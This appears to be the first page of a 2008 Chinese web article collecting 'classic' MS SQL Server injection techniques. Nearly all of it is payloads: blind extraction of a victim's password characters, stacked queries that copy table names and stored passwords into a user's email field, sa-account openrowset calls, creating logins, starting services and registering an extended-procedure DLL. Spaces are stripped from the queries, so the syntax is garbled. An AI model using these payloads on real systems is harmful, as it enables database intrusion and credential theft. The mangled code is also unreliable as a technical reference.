WEB开发网
开发学院数据库MySQL 非常经典的Ms Sql注射资料 阅读

非常经典的Ms Sql注射资料

 2008-10-04 11:10:32 来源:WEB开发网   
核心提示: select*fromopenrowset('sqloledb','server';'sa';'','select''OK!''execmaster.dbo.sp_addloginhax

select*fromopenrowset('sqloledb','server';'sa';'','select''OK!''execmaster.dbo.sp_addloginhax')

传统查询构造:

select*FROMnewswhereid=...ANDtopic=...AND.....
admin'and1=(selectcount(*)from[user]whereusername='victim'andright(left(userpass,01),1)='1')anduserpass<>'
select123;--
;usemaster;--
:a'ornamelike'fff%';--显示有一个叫ffff的用户哈。
'and1<>(selectcount(email)from[user]);--
;update[users]setemail=(selecttop1namefromsysobjectswherextype='u'andstatus>0)wherename='ffff';--
说明:

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID

ffff';update[users]setemail=(selecttop1idfromsysobjectswherextype='u'andname='ad')wherename='ffff';--

象下面这样就可以得到第二个表的名字了

ffff';update[users]setemail=(selecttop1namefromsysobjectswherextype='u'andid>581577110)wherename='ffff';--
ffff';update[users]setemail=(selecttop1count(id)frompassword)wherename='ffff';--
ffff';update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename='ffff';--
ffff';update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename='ffff';--
execmaster..xp_servicecontrol'start','schedule'
execmaster..xp_servicecontrol'start','server'
sp_addextendedproc'xp_webserver','c:tempxp_foo.dll'
扩展存储就可以通过一般的方法调用:

上一页  1 2 3 4 5 6 7 8 9 10  下一页

Tags:非常 经典 Ms

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接